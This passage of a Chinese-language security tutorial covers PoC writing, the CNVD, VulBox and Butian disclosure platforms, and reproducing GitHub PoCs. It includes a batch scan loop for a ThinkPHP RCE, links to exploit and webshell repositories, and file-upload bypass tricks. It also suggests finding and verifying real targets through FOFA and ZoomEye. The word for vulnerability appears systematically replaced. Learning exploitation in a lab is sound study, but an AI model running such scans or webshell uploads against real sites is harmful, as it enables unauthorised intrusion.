def scan(target_list):for url in target_list:try:thinkphp_rce(url)except Exception as e:print(f"[-] 扫描失败:{url}, 错误:{e}")
7.4 PoC 工具和平台资源
| 名称 | 用途 | 
|---|---|
| Vulhub | Docker 风险点复现环境 | 
| Pocsuite3(推荐) | Python 风险点验证框架 | 
| Seebug | 中文 PoC 平台 | 
| Exploit-DB | 国外 PoC 收集站 | 
| GitHub | 搜索: CVE-202x-xxxx poc | 
| 补天、风险点盒子 | 提交风险点、查看他人 PoC | 
7.5 进阶建议
1)学习 PoC 框架
-  Pocsuite3:360 Mars 团队开源风险点验证框架
-  Nuclei:字节开源 YAML 编写 POC 框架,适合做批量扫描
-  Metasploit:EXP 居多,也包含 PoC 模块
2)看公开源码学习结构
-  GitHub 搜索 intitle:poc CVE-202*,或关键词cms风险点 poc,对照学习
-  关注 SRC/补天 高质量 PoC 写法(参数化、模块化) 
7.6 小结
| 内容 | 重点 | 
|---|---|
| PoC 目的 | 风险点洞验证、非破坏性测试 | 
| 编写核心 | 构造请求 + 判断结果 | 
| 编写顺序 | 先复现 ➜ 观察请求 ➜ 写脚本 ➜ 自动化 | 
| 实战建议 | 多复现 CVE + 写自己的 PoC 库 | 
| 工具推荐 | requests、Pocsuite3、Burp、Fiddler | 
八、CNVD
-  CNVD:China National Vulnerability Database 
-  中文名称:国家信息安全风险点共享平台 
-  官网地址:https://www.cnvd.org.cn 
-  主管单位:中国国家互联网应急中心(CNCERT) 
CNVD 是中国官方的风险点收集与通报平台,作用类似于国际的 CVE 系统,但更加本地化,更贴近中国厂商的软件和使用生态。
它具备以下功能:
| 功能 | 说明 | 
|---|---|
| 风险点收录 | 收集国内外各种软硬件系统的安全风险点信息 | 
| 提交风险点 | 安全研究员和厂商可以提交未公开风险点 | 
| 通报预警 | 对重要风险点进行分级通报、修复建议 | 
| 风险点库查询 | 提供按关键词、组件、厂商、时间等搜索风险点的功能 | 
| 提交积分奖励 | 提交风险点可获得“风险点积分”,用于排名与评优 | 
8.1 CNVD 与 CVE 区别对比
| 比较项 | CNVD | CVE | 
|---|---|---|
| 覆盖范围 | 覆盖国内外,更注重国产系统 | 覆盖国际主流产品 | 
| 编号规则 | CNVD-年份-序列号(如 CNVD-2022-10201) | CVE-年份-编号(如 CVE-2023-4567) | 
| 提交方式 | 注册账号后可提交风险点 | 需通过 CNA 或 MITRE 提交 | 
| 是否公开所有风险点 | 否,有些是未公开风险点 | 是,公开数据库 | 
CNVD 编号结构
示例:CNVD-2022-10201
-  CNVD:中国风险点库编号
-  2022:年份
-  10201:编号(每年单独编号)
有些风险点只有 CNVD 编号,没有 CVE,是国内独家披露的风险点。
8.2 如何使用 CNVD 做风险点研究?
1)查询风险点信息
打开官网首页 👉 https://www.cnvd.org.cn
 使用 关键词、厂商、组件名、编号 等搜索:
-  关键词:ThinkPHP / WordPress / Redis 
-  风险点编号:CNVD-2021-30102 
-  厂商/组件:泛微 e-office、泛微OA、用友等 
示例结果内容:
-  风险点名称 
-  风险点等级(高危/中危) 
-  影响范围 
-  修复建议 
-  公开时间 
-  风险点描述 
2)查找可复现风险点(含 POC)
部分 CNVD 风险点信息会附带分析文章和 POC 链接,你可以根据标题关键词去 GitHub 搜索该风险点 POC。
例如:
-  CNVD-2021-30102 泛微OA 任意文件上传 
-  GitHub 搜索: 泛微 CNVD-2021-30102 POC
3)提交风险点
-  注册账号:https://www.cnvd.org.cn/member/login.htm 
-  登录后台提交风险点信息 
-  等待审核和编号分配 
-  审核通过后会获得风险点积分 
4)配合工具自动检测 CNVD 风险点
可以结合以下平台或工具,实现批量检测:
-  fofa + cnvd组合(资产搜索 + 风险点检测)
-  nuclei的 CNVD POC 模板(.yaml 格式)
-  洞鉴/鹰图/Pocsuite3等集成平台检测 CNVD 风险点
8.3 常见场景应用
| 场景 | 说明 | 
|---|---|
| Web 渗透前的信息收集 | 搜索目标使用的 CMS 是否有 CNVD 风险点 | 
| SRC 白帽子投稿 | 发现站点存在 CNVD 厂商风险点,可投稿 | 
| 复现写博客 | 根据 CNVD 风险点编号构建复现环境、编写 POC | 
| POC 自动化平台 | 用 CNVD 标记风险点并写 yaml 模板 | 
| 风险点报告写作 | 引用 CNVD 编号提升报告专业性 | 
8.4 配合平台/工具
| 平台 | 用法 | 
|---|---|
| CNVD 官网 | 查询风险点、提交风险点 | 
| Seebug | 查询 CNVD + POC | 
| GitHub | 搜索 POC(搜索“CNVD-xxxx”) | 
| FOFA、ZoomEye | 搜集可能受影响目标 | 
| Pocsuite3 | 编写 CNVD PoC 模块 | 
| Nuclei | 编写 yaml 模板进行批量检测 | 
8.5 小结
| 关键词 | 内容 | 
|---|---|
| 平台性质 | 官方风险点共享平台(国家级) | 
| 涵盖范围 | 国内外软硬件系统,偏重国产系统 | 
| 编号格式 | CNVD-年-编号 | 
| 核心价值 | 研究国内风险点、参与风险点提交 | 
| 实战用法 | 复现、PoC 编写、检测、提交奖励 | 
九、风险点盒子
-  名称:风险点盒子(VulBox) 
-  网址:https://www.vulbox.com 
-  运营方:知道创宇(国内安全公司) 
-  性质:白帽子风险点众测平台 + 企业安全合作平台 
风险点盒子是什么?
风险点盒子是一个连接:
-  白帽子(你) 
-  企业(厂商) 
-  平台(知道创宇) 
三者之间的风险点收集、披露、奖励机制平台。
可以:
| 功能 | 描述 | 
|---|---|
| 提交风险点 | 对目标站点提交安全风险点(XSS、SQL注入、逻辑风险点等) | 
| 获取积分 | 审核通过后获得安全积分 | 
| 获得奖励 | 某些风险点可能得到现金或实物奖励 | 
| 企业定向众测 | 平台分配目标给白帽子做深度测试 | 
| 排名与认证 | 累积积分可进入榜单,增加影响力 | 
9.1 注册与使用流程
注册流程
-  访问官网:https://www.vulbox.com 
-  使用手机号或邮箱注册账号 
-  完善个人信息和认证(建议上传真实能力信息,便于定向众测邀请) 
提交风险点流程
-  登录后台 ➜ 点击“提交风险点” 
-  填写目标站点、风险点描述、风险点类型、危害等级、复现步骤等 
-  可上传截图、复现视频、PoC 链接等 
-  提交后等待审核,审核成功会收到积分/奖励 
风险点类型支持
| 类型 | 说明 | 
|---|---|
| XSS 跨站脚本 | 常见于搜索、评论等页面 | 
| SQL 注入 | 登录页、参数注入 | 
| 任意文件读取 | 可读取 config、passwd 等文件 | 
| 命令执行 RCE | 高危风险点,可控制服务器 | 
| 逻辑风险点 | 例如越权、任意密码重置 | 
| 信息泄露 | 例如 Git 泄露、接口暴露 | 
| SSRF / CSRF / XXE | 较高级别风险点 | 
9.2 风险点盒子优势
面向厂商 SRC
风险点盒子对接了很多大型平台,如:
-  联通、移动、华为 
-  招商银行、支付宝 
-  各类政企系统 
-  中小厂商(企业众测) 
平台负责将风险点分发、审核、通报给厂商,并推动修复和奖励发放。
支持公开 & 私密提交
-  公开提交:风险点审核通过后可展示在风险点广场 
-  私密提交:只提交给厂商和平台,外部不可见 
-  可匿名提交:避免打草惊蛇 
众测任务邀请制
技术好、有提交记录后,会被平台邀请:
-  参与高价值站点的定向测试 
-  按任务提交风险点,按风险点奖励现金/积分 
9.3 白帽子常用技巧
如何发现风险点?
-  目标:厂商登录页、搜索、注册、上传等功能点 
-  工具:BurpSuite、dirsearch、sqlmap、F12+调试 
-  常用风险点类型:XSS、逻辑风险点、路径遍历、任意文件下载 
如何提交让平台快速通过?
-  写明: -  风险点入口地址 
-  触发条件 
-  复现步骤 
-  危害描述 
-  建议修复措施 
 
-  
-  附加截图、视频、PoC URL(更具可信度) 
9.4 实战建议
适合做的实战项目:
-  在 GitHub 搜索 CMS 框架(如:dedecms、discuz)搭建测试环境 
-  本地挖掘 XSS、SQL 注入、后台绕过风险点 
-  写成 PoC(参考之前讲的 PoC 编写方法) 
-  到风险点盒子找类似站点或厂商进行验证 
-  提交风险点,积累积分与实战经验 
9.5 小结
| 维度 | 内容 | 
|---|---|
| 性质 | 国内白帽众测平台,由知道创宇运营 | 
| 使用目的 | 提交风险点、积累经验、获取奖励 | 
| 优势 | 厂商多、众测活动频繁、奖励机制完善 | 
| 提交技巧 | 精准复现、图文并茂、突出危害 | 
| 实战建议 | 从低危 XSS、路径遍历、逻辑绕过开始练手 | 
十、补天
| 项目 | 说明 | 
|---|---|
| 平台名称 | 补天风险点响应平台 | 
| 官网地址 | https://www.butian.net | 
| 创建时间 | 2013 年左右 | 
| 运营方 | 360 公司(奇虎360) | 
| 性质 | 国内权威风险点提交/响应/众测平台 | 
| 用户群体 | 白帽子、安全研究员、安全厂商、政企单位 | 
补天平台是什么?
补天平台是一个白帽子与厂商之间的“中间桥梁”,由奇虎360维护,用于接收白帽子提交的风险点并转发给相关厂商,促进风险点修复,并给予积分或奖励。
10.1 补天平台主要功能
| 模块 | 功能说明 | 
|---|---|
| 风险点提交 | 提交 XSS、SQL注入、RCE、未授权访问等风险点 | 
| 厂商合作 | 对接了大量厂商(如政府网站、银行、互联网公司) | 
| 赏金计划 | 部分厂商设置风险点赏金(¥现金奖励) | 
| 众测任务 | 官方分配测试目标,按结果计分或计钱 | 
| 积分体系 | 提交风险点获得“白帽积分” | 
| 排名体系 | 有周榜、月榜、年榜,优秀者可获得认证 | 
10.2 支持的风险点类型
| 类型 | 描述 | 
|---|---|
| XSS 跨站脚本 | 输入框未过滤,执行恶意脚本 | 
| SQL 注入 | 数据库查询接口存在注入风险 | 
| 任意文件上传 | 可上传木马控制服务器 | 
| 任意文件读取 | 读取配置、数据库密码等敏感信息 | 
| 命令执行 RCE | 远程执行系统命令 | 
| SSRF / XXE / CSRF | 服务端请求伪造、XML注入等 | 
| 信息泄露 | 源码泄露、后台泄露、弱口令 | 
10.3 挖洞 + 提交流程
-  使用 FOFA/ZoomEye 找目标(可选定厂商) 
-  识别 CMS/系统(如 dedecms、phpcms、thinkphp) 
-  使用 BurpSuite、手工 + 工具挖洞 
-  编写复现文档(截图 + 步骤 + POC) 
-  登录补天平台提交 
-  审核通过 ➜ 积分奖励 
10.4 练习路径
-  本地搭建风险点环境(如 ThinkPHP、dedecms) 
-  复现已知风险点(CVE/CNVD) 
-  编写风险点分析 + POC 
-  FOFA/ZoomEye 扫描使用目标厂商 
-  在补天提交真实可复现的低危风险点(如 XSS) 
-  慢慢积累积分,提升排名 
10.5 小结
| 内容 | 说明 | 
|---|---|
| 平台定位 | 国内老牌风险点响应平台 | 
| 目标用户 | 白帽子、SRC从业者、安全爱好者 | 
| 提交类型 | XSS、SQL注入、RCE、逻辑风险点等 | 
| 奖励方式 | 积分、现金、证书、荣誉 | 
| 推荐方式 | 搭配风险点盒子、GitHub POC 实战使用 | 
十一、github-poc 资源复现
-  POC(Proof of Concept):风险点的概念验证代码,用来复现风险点。 
-  GitHub 上聚集了世界各地安全研究员、红队、白帽子上传的 风险点 POC、EXP(利用代码) 和复现环境。 
-  有大量关于 WordPress、ThinkPHP、dedecms、phpcms、Struts2、Weblogic、Spring 等的 POC。 
11.1 GitHub 上 POC 搜索方法
关键词搜索技巧(举例):
ThinkPHP CVE poc
dedecms file upload poc
WordPress RCE github
"phpcms" in:description
CVE-2023 in:title
推荐结合使用的关键词:
| 风险点组件 | 常见关键词 | 
|---|---|
| ThinkPHP | thinkphp poc, thinkphp rce | 
| WordPress | wordpress plugin vuln | 
| dedecms | dedecms upload, dedecms XSS | 
| phpcms | phpcms poc | 
| Discuz | discuz xss, discuz csrf | 
| CVE | CVE-2021-XXXX poc | 
推荐仓库(通用集合类):
-  https://github.com/nomi-sec/PoC-in-GitHub -  自动收集 GitHub 所有 CVE 利用代码 
 
-  
-  https://github.com/vulhub/vulhub -  中文的最强风险点复现环境集合(含环境+POC) 
 
-  
-  https://github.com/projectdiscovery/nuclei-templates -  Nuclei 的 POC 模板库(适合批量测试) 
 
-  
-  https://github.com/zhzyker/exphub -  含企业级系统(Weblogic、Confluence 等)的 EXP 
 
-  
-  https://github.com/w181496/Webshell -  提供配套风险点上传后的 Webshell(辅助测试) 
 
-  
11.2 POC 复现完整流程
以 GitHub 搜到的一个 dedecms 任意文件上传风险点 POC 为例:
步骤 1:搭建环境
使用 vulhub、docker、或自己搭建风险点 CMS 环境。
# 如果是 Vulhub 支持的风险点
git clone https://github.com/vulhub/vulhub
cd dedecms/xxx
docker-compose up -d
或自己去官网下 dedecms v5.7,配合 phpstudy 或宝塔本地部署。
步骤 2:获取 POC
在 GitHub 搜索:
dedecms upload poc
找到一个 POC 仓库,如:
https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1
下载或者复制其中的 POC 脚本,例如 poc.py。
步骤 3:阅读 POC 原理
通常 POC 包含:
| 模块 | 内容 | 
|---|---|
| 请求地址 | 哪个接口存在风险点(如 /uploads/a.php) | 
| 请求方式 | POST/GET/文件上传 | 
| 参数格式 | 参数名、文件字段名(如 file,upload[]) | 
| 响应判断 | 如何判断风险点是否成功(如返回 200 且链接可访问) | 
需要掌握 HTTP 抓包知识,能用 BurpSuite 重现请求。
步骤 4:运行 POC
python3 poc.py http://127.0.0.1/dedecms/
-  查看控制台是否提示上传成功 
-  查看返回的 Webshell 链接 
-  使用浏览器/ curl打开,确认是否 RCE 成功
步骤 5:分析风险点原理(进阶)
掌握风险点利用条件:
-  文件类型限制绕过? 
-  后缀双写?(如 .php;.jpg)
-  文件内容绕过?(加 GIF 头?) 
-  后台未鉴权上传接口? 
-  文件是否可被访问? 
11.3 从 GitHub 挖掘优质 POC 的技巧
| 方法 | 技巧 | 
|---|---|
| 看 Star 数 | 超过 100 星,一般质量不错 | 
| 看更新时间 | 越新越说明适配当前系统 | 
| 看 issue 区 | 有没有人复现成功 | 
| 看 Readme | 有没有环境搭建说明和截图 | 
| 搜索 CVE + PoC | 如: CVE-2023-37960 poc | 
| 搜 Fofa/Zoomeye 结果验证 | 查是否有目标存在此风险点 | 
11.4 辅助工具推荐
| 工具 | 作用 | 
|---|---|
| BurpSuite | 抓包、重放 POC 请求 | 
| Docker | 快速搭建测试环境 | 
| FOFA | 搜索真实风险点目标 | 
| Nmap + Nuclei | 指纹识别 + 批量扫描 POC | 
| Python/requests | 编写自己的 poc 脚本 | 
11.5 示例复现案例
| 系统 | 风险点名称 | GitHub 地址 | 
|---|---|---|
| ThinkPHP 5 | RCE风险点 | https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce | 
| dedecms 5.7 | 任意文件上传 | https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1 | 
| WordPress | 插件文件上传风险点 | https://github.com/1N3/Wordpress-Exploit-Framework | 
| phpcms | 后台 getshell | https://github.com/Angus-x/phpcmsv9 | 
11.6 小结
graph TD
A[GitHub 搜索风险点 PoC] --> B[分析风险点原理]
B --> C[搭建环境 Vulhub/Docker]
C --> D[运行 POC 脚本]
D --> E[复现成功]
E --> F[总结报告/投稿平台]
